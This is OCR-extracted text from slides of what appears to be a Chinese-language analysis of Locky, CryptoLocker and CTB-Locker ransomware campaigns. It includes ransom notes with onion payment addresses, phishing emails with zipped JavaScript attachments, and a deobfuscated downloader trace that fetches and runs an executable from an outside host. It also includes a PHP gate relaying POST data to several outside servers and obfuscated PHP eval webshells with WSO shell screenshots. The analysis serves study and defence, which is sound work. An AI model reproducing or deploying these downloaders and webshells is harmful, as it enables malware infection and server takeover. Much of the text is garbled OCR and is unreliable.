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Your personal files are encrypted by CTB-Locker.

Your documents, photos, databases and other important files have been encrypted with strongest
encryption and unique key, generated for this computer.

Private decryption key is stored on a secret Internet server and nobody can decrypt your files until
you pay and obtain the private key.

If you see the main locker window, follow the Instructions on the locker. Overwise, It's secems that
you or your antivirus deleted the locker program. Now you have the last chance to decrypt your
files.

io htt JLor2w in your
fon ,
o/ °
e hup: mvaig kzqso.onion/

Note that this server is available via Tor Browser only. Retry in 1 hour If site is not reachable.

Write in the following public key in the input form on server. Avoid missprints.

CEFVUSZY-HDESSES3B-HIKQMAI-NCHWVRJI-NEXXPPS-ZR5YWIN-XKISFAY-PNIRKNZ
M7HOSEV~KCKBSCB~IOF363Y~VYHS2VW~-2WKFRBV~XPRUC7TK~JYVFLXE~OBUQQ4K
XIIMOTB-LF7ORIJF-MAPT7TYC-Y3IKESMS-NAVEKOTT-3P3GEKVN-KLPRGAH-F4QPTI7

Follow the instructions on the server.

These Instructions are also saved to file named DecryptAllFiles.txt in Documents folder. You can
open it and use copy-paste for address and key.
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FW: Payment #

2016/3/18 (WH) 0:05

Quincy Petty <PettyQuincy48026@geldbach.co.uk>
FW: Payment #555207

prd S) (&) \ H
B urgent_payment 555207.zip (12 KB) OISO TIG) " SIRIEO) NN R

g@gﬂﬁ@u.

Dear WRERY #? a5 a8

[E | B urgent_payment_555207.zip - ZIP &@m BEFAR 1 6594—'
Please find attached an invoice that is now due for payment. i

King Regards. )

s_f7d38.js 453 4453 JavaScript X% 2016/3/17 19...
. 4,362 JavaScript Xt 2016/3/17 19...
2,844 Data Base File 2016/3/17 19...

Director Inst/Medical Practice/GPO Marketing | [B] payment_details_db422 js
% thumbs.db

=1+ 11,659 $“(3 Am#)

CRC32

550E6FCC
29F76F4F
36AA2C...




IDINCG ERSE

Pt b 1JA JA. 171 —

u!i%%‘%!m

&RSA—2048 #ms 128RERBIEST T 0%E -
%}WSAE'] R i

http //zh w1k1ped1a org/w1k1/RSAﬂﬂ’Hf %

http://zh. wikipedia. org/wiki/EéRiN §§$ﬁd¥

RA MR RS LA 28T 71' ERR A RAIAE -
BB VaE e TR
1) htTp ’/139L17k01 food tDrLWEb org/5ODFA(3BWQS4887E

2. http://i3ezlvkoi
3. http://i3ezlvkoi’

or
, EFME
ﬂu : lSELllkGlT furyood. onion/50DFA7T3B9984887E
HORReE TR

2E2TD: SODFA73BY9B4887E !!!




IDINCG ERSE

Ly
}

_Locky recover_
instructions

50DFA73B9984
887E682B9B940
84F8CB1.locky

SODFA73B9984
887E1CD38DCE
A13BEB1B.locky

SODFA73B9984
887E3418FOF11
3CE2985.locky

SO0DFA73B9984
887ESFSAATD2
A36AC3F8.locky

S50DFA73B9984
887EC9387E9AE
FC650B4.locky

50DFA73B9984
887E6D4D099C
1A4D5517 locky

50DFA73B9984
887EED67C68D
FF445EBE.locky




R ElEERE 7

==

H



IDINCG ERSE

Ziliims (HFEBS ) |

— MR ATLARK MR SEIRFIOFHEERERE , EERAPX
(IS ER TR,

BTt T8 EMEHTERE , SRPETEMGMEE |, TR T EwsRE
Baz(T |, 15175  RESERRPHSEOEEITINE | 1LBPLET
7T, FEERNEIROFIRRMER | NRAFAREIEER B NEEEK
Méa,waIWJKL%iwao



IDINCG ERSE

XA

TEk=R)SHIZ

<>

>

70

S

=

EAY

’

FE4EEa B

#MERR

LockyimE



RS (#ERS ) '

IiRES] | REMDAMAR | KERIFIEBME | N\ITRILERX,

RAREES] BMEFRR , MANEERNEZERM NS D AW, SETUT
. DGARIEEMBZEIREFHIETM,

INEZRES] : RAARSA2048+AES128)1%; , FATRERIELEE T, INEAMHIE.
BofEiE. WEHS , SINERISHE AR

XATRIE : TEXRABICZT , EEeRBIKSREDE , SCryptoWallFHEEE |,
[FE—BTCRKIDRIEFISRRE(R. MRS RNTHEN , MELUENL



IDINCG ERSE

ZilRsRRE

BIFHRIRERER |, &RBET19964F.
BFRLISHEAZRNE  SHEEMIIERZE , AR,

20165 R , KEFARBSRAPEMX , SRR, FATNE |, HINESUFRHE
BEE (lockyf548) :

1. BERMD RN ARSARIE |, INZEGEEHELAHRZ

2. BFRTFERBILET |, EERAELUE T



IDINCG ERSE

ZilRsRRE

20135 , HRHHERE , DIBDANMH. BRA. RS LHFMETURISE | 72/NaT
Z AREFEEMWF3ZF300%E5T , PayPalEFFERSZ(T |, FBIERRINZ EE T
e RERE Y
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“' B 2 ‘ Your personal files are encrypted!

CryptoLocker

Your important files encryption produced on this computer: photos, videos,
documents, etc.

If you see this text, but do not see the "CryptoLocker” window, then your
antivirus deleted “"CryptoLocker” from computer.

P If you need your files, you have to recover "CryptoLocker” from the antivirus
quarantine, or find a copy of "CryptoLocker” in the Internet and start it again.

\ v Moot worve 0r dhamssge Ui soflanane sl fel 1o Wae swwredbate

* Gwitioped an e tee wwste by Ny verver
2003
3397 A

You can download "CryptoLocker” from the link given below. g
http://feyrckkwwjymeo.org /1002.exe

Approximate destruction time of your private key:
2013-10-11 10:23 pop,
71:19:53
If the time is finished you are unable to recover files anymore! Simply remove
this wallpaper from your desktop.
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20155F1R |, WMEHHERE , IO, R IBRSERMIHSETU
E96/NITARESZ(T 8L ( BRIEARMILTTESR)

P T T

- | =)

Your documents, photos, databases and other important files have been encrypted with strongest
encryption and unique key, generated for this computer.

Private decryption key is stored on a secret Internet server and nobody can decrypt your files
until you pay and obtain the private key.

L LA 77 k. XLS.kswbwxi

You only have 96 hours to submit the payment. If you do not send money within provided time, all
2014 CFAP T &8B ‘E({H'H&')J PG.kswbwxi i your files will be permanently crypted and no one will be able to recover them.

Press ‘View’ to view the list of files that have been encrypted.

Press ‘Next’ for the next page.

LR
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Your personal files are encrypted by CTB-Locker.
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The §st of your encrypted fes:

Path

C\Documents and Settings\Admanstratoe L SU\

me.zie

C\Documents and Settings\adminstratod\ S BIMcoosoft Office 2007 M9 X 9T\ Mcrozoft
Office 2007 M P30 s\

nTXT

CADOCUTRnts and wumwmmmux\l!\Mo«ﬂ Offico 2007 M 9T A\ Marosonit
Office 2007 M8 #4920 o\ofMce2007pr0.chs'

MR TXT

C\Documents and &!m\ﬁm\t’nuatu\‘ﬁv&oom Offico 2007 M489 X il \ Mo osoft
Office 2007 0§ P L9 LANOMoe2007or. chs\Updates|

README. TXT

CADooUmants andd SettngsLackrrsty ator U IS\ CHORG R T2 SN ONDBGR M 5\

LR TXT

C\Documents and Settngs\Admnstratod S B CRyDEGE S I AN\ClyDEG R 55 00\

SOons. TXT

C\Documents and Settings\Adminstraton\ LI ORDEG RN I 0N OlyDEG R M M ol

Korse. TXT

CADOCUmeNts and Settngs\Adminetrator\ SLER CRORGRE S SHI00 C8DOG R FER 05\

roguter, TXT

CADoCUments andd Settng\Admirstr ator\ 38\ CHO0G R 2 7250 0T ClyDOG R TR QE FuCO)

AP TXY

C\Documents and Settngs\Adminstraton S I CHOBGSE TEI 0\ CR/DOCIM TR W\ PLUGING

MapConw, TXT

CADocuments and Settings\ Adrmenstrator, SUIN OO DEG RN 9800 Oy DEC SN 75000\ PLUGIN,

QlySaotp XN ML TXT

CDocuments and Settings\Admrstrator LR\ CRyDEG IR SRR BN ClyDEGE M FERL B\ PLUGIN

UnbExcHt. TXT

CADOOIMINtS and Setangs\ admretroton UK IE\OOOGR IS TR0 05\ O8/DOGH I 3520 07\ PLGIN,

Gk 1.2, TXT

CA\Docurments and Settngs\ Adrmeatr aton ST\ CRyOOGRR M 755000 Oy DOGRR - 559000 FULGING
Close

oyl Py

O e O N NS SENNY
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&8 invoice_details_020013.zip

Ei%A: Paulette Green [mailto:GreenPaulette001@reelygood.com]
ZiZefiE): 20165235168 3:42

WIi5.

ZF5: FW: Payment ACCEPTED M

Dear

Please check the payment confirmation attached to this email.
The Transaction should appear on your bank in 2 days.

Thank you.

Paulette Green
Account Manager

» Samples » Samples » invoice_details_020013

B2 (Tor Browser https: v.torproject.o: inload/download-ea

on/321A6EC7D26,
payment_3cdb8.js g plhsll.bmp
scan_7b780ae3 js

B ) i SR A By SUEB SRS R E S
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[t ¢ tw.lee_e-bill_9A3D30.zip

B BB S3H

2016/3/30 (B=) 1:36
Clark Barr <BarrClark62@inli
Bill N-227658

WA Uni. de Sistemas

From: Carter Golden [mailto:GoldenCarter32193@zone.ps]

Sent: Wednesday, March 30, 2016 8:25 AM
To: Lee Tak Wai
Subject: Bill N-SA3D30

Dear tw.lee,

Please check the bill in attachment.
In order to avoid fine you have to pay in 48 hours.

B8 ¢ invoice_details_020013.zip (6 KB)

F &fi: FW: Payment ACCEPTED M-020013

Dear zhangyi,

Please check the payment confirmation attached to this email.

The Transaction should appear on your bank in 2 days.
Thank you.

Paulette Green
Account Manager

43 ¢ A1909_sistemas_227658.zip

Dear sistemas,

Please check the bill in attachment.
In order to avcid fine oy have o fa, in 48 hours.

Bost regarce
Clark Barr
Product Director

BEE ¢ kawabata-receipt_ 519820.zip

From: Steve Boyle [mailto:BoyleSteve03203@wanadoo.fr]
Sent: Thursday, March 24, 2016 9:09 PM

To: kawabata

Subject: FW: Payment Receipt

Dear kawabata,

Thank you for your payment. It is important that you print this receipt and record
the receipt number as proof of your payment.

You may be asked to provide your receipt details should you have an enquiry
regarding this payment.

Regards,
Steve Boyle
Managing Director - Property Advisory Industry

2016/3/28 (F—) 22:37
Gene gower <gowerGene4b
[SPAM] FW:

WA Sadaharu Mineshima

643 ¢ mha_copy_627767.zip

Your |transaction|has been successful.

information in the document below.

BB ¢ details-kawabata_821532.zip

From: Bill Ratliff [mailto:RatliffBill231@cableone.net]
Sent: Thursday, March 24, 2016 7:35 PM

To: kawabata

Subject: FW: Payment Receipt

Dear kawabata,

Thank you for your payment. It is important that you print this receipt and record

the receipt number as proof of your payment.
You may be asked to provide your receipt details should you have an enquiry
regarding this payment.

Regards,
Bill Ratliff
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BRAFRIBT Ao E4a e , WNEF TN G EEBIRIA S ( JavaScript3Zf4,
NHZUABEIIRIE ) , TEER IR TE T

¢ « Content.Outlook > DNCDFHN3 > invoice_details_ 020013

=5 A = T

JavaScript 3% I 2016/3/15 21:02
BMP &% 1 KB 2016/3/15 21:02

scan_7b780ae3 JavaScript 3% 7 KB 2016/3/15 21:02
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ERIIEE | MAWIndowsiRIRRVAMN , N Rub <Y REEIVFEREGFHRAT

LI A ERFSS 1ZEhr0)Shas M AiTaE
SkEEARBDA4E1IA2EABF2A7749E57A6FOFF7C2916
WScript.CreateObject(WScript.Shell);
WScript.Shell.ExpandEnvironmentStrings(%TEMP%y/);
WScript.CreateObject(MSXML2XMLHTTP);
MSXML2XMLHTTP.open(GET,http://dronozas.hu/fkj4rq,0);
MSXML2XMLHTTP.Send();
WScript.CreateObject(ADODB.Stream);
ADODB.Stream.open();

ADODB.Stream.write(undefined);
ADODB.Stream.saveToFile(%TEMP%/4BW4c2WpVz.exe,2);
ADODB.Stream.close();
WScript.Shell.Run(%TEMP%/4BW4c2WpVz.exe,0,0);
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KEENARYTHBEEXSMAI AT !
eturn 271 rver INTUT = ~£Y-1var Jgap = DMTUT(*ch\x1zac+] (01 svax DO = -sa*; —/\ﬂ_ﬂ,?}l‘:’%’T (EESS

var yzTL = "fa";var Nq = "a\x73d";function Dd(Xmcrm) {return Xmcrm:;}: ’/\\*Ea
function oNJ(h) {returm h;}:;function b0 (Toli) {return Toi;}:;function aSx(c) { }LLEEW:FJ:E ;tb; *E
return c;}:function wl (AO) {return R0;}:function Z5(gFVd) {returnm gFVd:}: }—‘— — Egj{q: 14:
"y2w NdI™ ;var TnSwa = "eOrHw7Hy"; XZ:H > I Lﬂ%?ﬂilz
;var quI = "df";var F2 hi\x73";var PO = "u";var LjPN E/ 1 & .m
l ( = ~ Q - o 1£@% mi °

):;var U0 = "f\x79" ;var gnLts i";var 1jdRg = TnSwa

At"] (5) ;var YYtE = "8fa";var JThlIk = "\x ":var djyw = "\x6lu7"

e aros £ - eunctton %2 () (roturn i) eunction ynoe () (rovuen v NG|SO R = W N[5V WA=
e e Yo e vomerien 10 tromum 3 v e - R R N
e s RET iR URL=E N —BIZINE | &
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WindowsHYJScript>z FFLAREXIE EiZE X SRIBIED A

function hello.world() {

-

J‘iﬂ‘EZIST etVEEEN ® SRS I EAREEE ) FmER TIX
A BARTGERT Y. a0

var elems = "e"

global = mn {

var CaC'}ed = [][ "_f” + memory + ”:".:::”][

msFullscreenElement + "totype"] [animated + "I’

+ propHooks + "1v"]():
return cached;
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WindowsHJJScriptsZ#F &4 miFieE<$ @cc_on

2% . https://msdn.microsoft.com/en-us/library/8ka90k2e(v=vs.94).aspx

var run = false;

if(run) { ...}

Xt EWindows. JscriptiiEH®
BNFHIRS |ZE S BGEREARAT |

function HT() {returm 22:}:;

BRI ERIUT T . a0 o v
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THEERDH - BEREA

WindowstEHtAYADODB.StreamZ&ERISRAYG AR |, 1E)Scripte{kiA
IFRBEA/NG, JavaScriptBUtnER , BFEEXDAEN, EEE
WindowsAJActiveScriptfAiZ s , COMMSRAIG AR , =HNRAN
Bk EEITH (IDispatchEx ) |, HIERNSEASZIEA/NE |, FPA
Ee LIS R/INE FToRAY IZI*SZ% o

aveToFIIe Method
xXa.position = 0;

Stream to a file. xa|saveToFile|fn+n+".exe",2) ;

try { ws.Run(fn+n+".exe",1,0);

WScript.Shell.ExpandEnvironmentStrings (¥TEMP%/) ;
ADODB. Streamm(%TEMP%/bOuSqWFgAchCkTv exe,2);
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ERESEIIHERSISIERD , FISFScriptBERIEHAMAL S | IR
PEMAFSTE  EREUARR, ZR , T8+, EiIERxE T
IIBEEMES , BAHEIM T “"FUCKINGNOD” X#R9=FER , Aii]
XJESET-NOD32 ( EAMNBRETIE ) tHRERVIERS.

var k = "\“x43\ x4d xec\ x6c" " x67e\x74\ 2557 " ;var 1

" x44\ xAl1\ 274\ 265" "™\ 253\ x6c\ xA5\ 265\ k70" ; function
_fuckingnod = "="; "+ X o+ "} ;function LO(yO){

_fuckingnod fm e "+ yO + "7} function wl(voc){
_fuckingnod g, "+ wOoc + "":Y};function Eku(ksEH

_fuckingnod "s"; """ + ksE + "";};var L = "
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Library function Data l Rezular function Unexplored I Instruction External symbol

; int _ stdcall WinMain{HINSTANCE hInstance, HINSTANCE hPrevInstance, LPS
WinMain@16: ; CODE XREF: .text:0040F3EBLp

inc eax

jz short loc_4B82F98

add [edx-77h], esi

inc eax

; CODE XREF: .textTow

inc

dw 726Fh
dd 418306F06h, 1408B16h, 28DFFO4h, BOF247433h, 40742016h
dd 40674894Ch, 24336133h, 850F0001h, 26854086Fh, BE841CC74h
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if (!isset (5 POST|[

'data'])) { die ("empty post");

Spost = array('data'=>S5 POST['data'], 'IP'=>5 SERVER['

Sgate = array (
"http://as3ws
"http://04dm3
"http://i5ndw
"http://vewrb

) ;

foreach( Sgate as

.fopyirr.com/ing.php",
.leaama.at/ing.php",
.titlecorta.at/ing.php",
.italisumo.at/ing.php",

Svalue ) {

Sprocess = curl init();

if( ! result
if (stristr ($:
if (stristr ($:2

curl setopt (Sprocess, CURLOPT URL, Svalue);
curl setopt (5r
curl setopt (5¢

process, CURLOPT RETURNTRANSFER, true

, CURLOPT POST, ) ;
, CURLOPT POSTFIELDS, Spost) ;

- curl_exec($p::c;55)) { continue;}
sult, "work:")) {echo Sresult; curl cl
c, "INSERTED") ) {echo Sresult;curl

curl close(Sprocess) ;
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Hong Kong, 103,12% Bl S Vietnam, 1, 0%
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. [5)
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™ Russia =™ Ukraine m Hong Kong ™ France m Germany m United States ™ Netherlands
™ Kazakhstan ™ Latvia ™ Spain ™ Estonia ® Canada W Bulgaria M Romania
M Brazil M Turkey M [taly M Portugal ™ Argentina ™ United Kingdom M Vietnam



IDINCG ERSE

B CEIR D

EINEIPNEEREIRE 7 AnRIVEES |

BEALD, (N BERENAYZG

/

=

57741 , 3CFR

HIESE X, HEERAEEEkEZMRIE
ADFEN BT ETCIERERE.




IDINCG ERSE

LockyRYEPEE

HFICENFEEPA
53 v EEEESEE @ —5
B RLocky !

—[1 KA HEAE
£t R Th sE. e ~ RIEIBHE
TR Cis

s TR
s W e e R W W e £ o
AR e * e e et e >E Hi%IP

] U mEam
pra—

: HMBTC

5 T R



IDINCG ERSE

=maRFiE

XM AR EIA R SR EHRE ?

I 1% 2 —EFKE

IS

£’

E3p0)

A2Z7 |
= o

e EIEIEX | B ERRENERRFES
HBE. BR=2% 7 1/3LA EAIETLIRL A
IERES R

D RIS IPEARE |



IDINCG ERSE

DE D RifRlivewireradio.net Al , BIIRAFERHENG | &I T KE5KB
Bphp eval shell ARSI NNZAIWS02.5 Webshell — B HiREEZHF A RE
{FEFWebShell!

" <ophp 14228 . Sun8xihgoat w240 3clby ki ri"; $eskIOV6240 =
1.4034228[30] . 407 $034228[41] .§034228[
$pzhal="_puroste";$vdm2 =fpzhal[S].$pzhal[6].$pzhal[3]. j .$03 ].%034228([14] . %07 034228[22] ; $1GE
$pzha0[6].$pzha0[4].$pzha0[2].$pzhal[1]. $pzhal[1].$pzha0[7]. $pzhall3] ;$ymp7 = . o ".chr (122) . "inf ‘ .chr (98] .7
$vdm2 ($pzha0[0]. $pzha0[1].$pzha0[4]. $pzhal[S]. $pzhal[6]); if { isset( ${ ). . ( e (100} . "e". (99] . i ( " chr |
$ymp7}['gfob08a']) ){ eval(${ $ymp7 } [ 'gfdb0sa']); } ?>| . . . e

Pl mis
Windows NT TEST-NODE1 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 1) 586 [exploit-db.com]
0 ( SYSTEM ) Group: 0 (?)

5.4.45 Safe mode: [ phpinfo ] Datetime: 2016-04-05 14:57:20

4.25 GB Free: 3.58 GB (84%)

E:/UPUPW_APS.4/UPUPW_APS.4/vhosts/www.test.com/ drwxrwxrwx [ home ]

‘<7php
[ Sec. Info ] [Files ] [ Console ] [sall [Php ] [Stringtools ] [ Bruteforce] [ Network ] [Logout] [ Self remove ]
File manager
$oscy7= "uoe_tprs"; $szduS =fescy?[7].$sscy7[4], $escy7(6]. _ | — —
$oscy7[4].$sscy7[1] $sscy7[0]).$sscy7[S] $sscy7 [S). $escy7[2]. $sscy?[6] ; FibbdS=$szdus eT— & 2o1cososiisslng o 7
(Fsscy7[3]. $sscy7[S] . $sscy7[1].$sscy7[7].$sscy7[4]) 5 if(isset (${$ibbdS }['g328043'] )) - I & AT Y o e
{eval (§{ $ibbdS}['gS28043'] ) ;37> - an ar oro o
M [ upload ] dir 2016-03-11 10:37:30 o/0 RT
M [ wp-admin ] dir 2016-03-09 13:51:26 0/0 RT
W [ wp-content ] dir 2015-12-21 14:04:49 o/0 RT
B [ wp-inclu lir -12- ot
! s e e aro s
B image.php 31.36 KB 2016-04-05 14:35:47 o/0 RTED
14 7 h : index.php 4188 2013-09-25 00:18:12 o/0 RTED
<7php license.txt 19.46 KB 2016-03-07 14:57:52 o/0 RTED
S Sea8KD | 2016.04.05 14152150 or0 RTED
$ h 1 " U‘ " $ fc 34 $ h 1[?] $ h 1[1] $ h 1[2] $ h 1[1] $ h 1[6] :readl.phn 24.97 KB 2016-03-24 16:31:07 o/0 RTED
whol="etr_upos" ; $2ftm34 = $who1[7]. $whol[1] $whol[2] $whol[1] $whol[s]. D I R - RS
$whol[4]. $whol[5]. $whol[S].$whol[0]. $whol[2];$inpr3= i T o Rt
$2fcma4(bwho1[3]. $who1[S].$whoi[6].$whol[7]. $wholl[1] ) ;if(isset ( - . 5 e
${$Inpra}['q726b60'] ) M eval ( ${$inpr3} ['g726b60'] );}7> L. e o RTED
» W wp-config-sample.php 2.86 KB 2015-12-13 22:05:52 o/o RTED




IDINCG ERSE

BUE S kibmholidaysinkeralam.com Aff |, iBISRAFEHANG |, AW
TAERBHphp eval shel LA RARITNZRIWSO2.5,

$YLbgP£3524 2 9c8 M=
=YngP£]524 1.SYLbgP£3524( YLbgP£3524[328] . $YLbgP£j524[29] . $YLbgP£3524[31] . §YLbgP£3524[30] .
SYLDGPE3524[16] . SYLDGPEI524 (6] . SYLDGPEI524 [<] . SYLDGPEI524 [40] . SYLDGPEI524 [30] ; SGCwa9s93 ".ehr( Ve
= .chr( .==.chr( ) ."".chr(40) ."g .chr( ) ."".chr(108) ."a". (116) ."".chr( ) ."".chr(
".chr( )-=e=chr(54)-= D bl e en . - (40) . "=:$09654 = "™.chr
".chr(59) ."";$31vpdRE6408 = $Gcwa9593.

p Siawdé= "t_
Sbmag6l —strtoupper ($iawd6[1] .$iawd6[4] .$iawd6[3].$iawd6[2]. Siawdé6|[
if( isset( ${Sbmagél }[ ' ) ) {eval(${Sbmag6l} 21"

Windows NT XF-PC 6.1 build 7601
0 ( SYSTEM ) Group: 0 (?)

5.2.6 Safe mode: Datetime: 2016-04-07 09:36:34
198.36 GB Free: 108.59 GB (54%)

Cwd: XWX
- _ y Drives:
hp $iawdé= "t_so ; o L 1 [[Files ] s 1 [isel] [1ekp) L 1 L
Sbmagél =strtoupper ($iawdé6[l].S$iawdé6[<].Siawd6[3]).Siawd6[2]. Siawd6[0] I manager
if( isset( ${Sbmagél }[ ‘1) {eval (${$bmagél ' 2 }? e+ Owner/Group
- - dir 2016-03-17 02 o/o
“ml dir 2016-03-17 02:42: o/o
- dir 2016-03-17 02 o/o
- dir 2016-03-17 02 0/0
35 - dir 2016-03-17 02:40:! o/0
o dir 2016-03-17 02 o/o
- dir 2016-03-17 02 0/0
N " dir 2016-03-17 02:40:! o/o
O - dir 2016-03-17 02 o/o
-l dir 2016-03-17 02 o/0
L ] dir 2016-03-17 02:40: o/0
m B dir 2016-03-17 02 o/o
L ] dir 2016-03-17 02:40: o/0
T ] dir 2016-03-17 02:40:59 0/0
- S = o P . prm [ ] dir 2016-03-17 02; 0/0
strtolower (Sypuy ] [ n [ 3[0) . dir 2016-03-17 02 o/0
" o i R - 24.92K8 2015-11-29 20: 0/0
;$xffe6 = strtoupper (S 13 ay13(5) 19] . Sypuy13(7] [8] )s Af ( isset ( S{Sxffté}[ . 10858 2015-06-28 07 0/0
] 1473 K8 2015-11-05 15 o/0
] 11.42K8 2015-06-22 12:55:28 o/o
] 12.98 KB 2015-11-21 19 o/0
] 2159 K8 2015-10-21 06 o/0
] 25.82 KB 2015-12-04 15: o/0
] 18.06 KB 2015-11-28 18 o/0
] 44.60 KB 2015-10-20 08: o/0
] 1099 kB 2015-11-19 23: o/0
] 3.99 kB 2015-09-19 19: 0/0
" 20.68 KB 2015-10-23 07 o/0
. 34.46 KB 2015-11-04 10: 0/0
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-8', '"Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866"');

n.'" ', (5 _POST['charset']==51

A
o]
o]
ot
=
o]
ja]
<
v
[
o}
(1)
|
}
t
)
L]

WSORERAGERES R (ru ) BIKuG

‘Kinput type='text' name='hash' style='width:20
<input type='hidden' name='act' wvalue='find'/>
<input type='button' wvalue='hashcracking.ru! o
<input type='button' wvalue='md5.rednoize.com'

ERSHENCIZ EXIWSO 1iEHNRS | e

{ 14.06.2015 Alexis510

3apaBcTBYiTe! X0oTen y3KHaTh TaKYK WTYKY.... OKONO MecAla Kas3aj MOoW CaliTbl Hayanu 3apaxaTh By
NOMEKAN Naposb U NONHKOCTEK) 3aKpbin AocTyn no ®TM1, Ho BCe POBHO BMPYCH! NOABAAAMCE (UTO CTP3

Hello a4aT! HepgaBHo Ha ogHOM U3 WeNNoB Haweén cocega ¢ WSO
CaiiTh! Ha KOMN, yToBb! TWaTeNbHO UX NPOCMOTPETL M HalLe BOT Takoi hain, KoToporo B CTakAapTH

PHP:

<?php # Web Shell by oRb

" ‘i‘:{ E 1hgoatw : g 4 $auth_pass = "7fb79d52836f1b1b184b06676d54349f";
= $color = 5
SuNDowN $default_action = 'FilesMan’;

$default_use_ajax = true;

. Member A
Ob6paTute BHMMaHue, HET NPUBbIYHBLIX dyHKumMi eval, base64, pred sdefault_charset = "Windows-1251";
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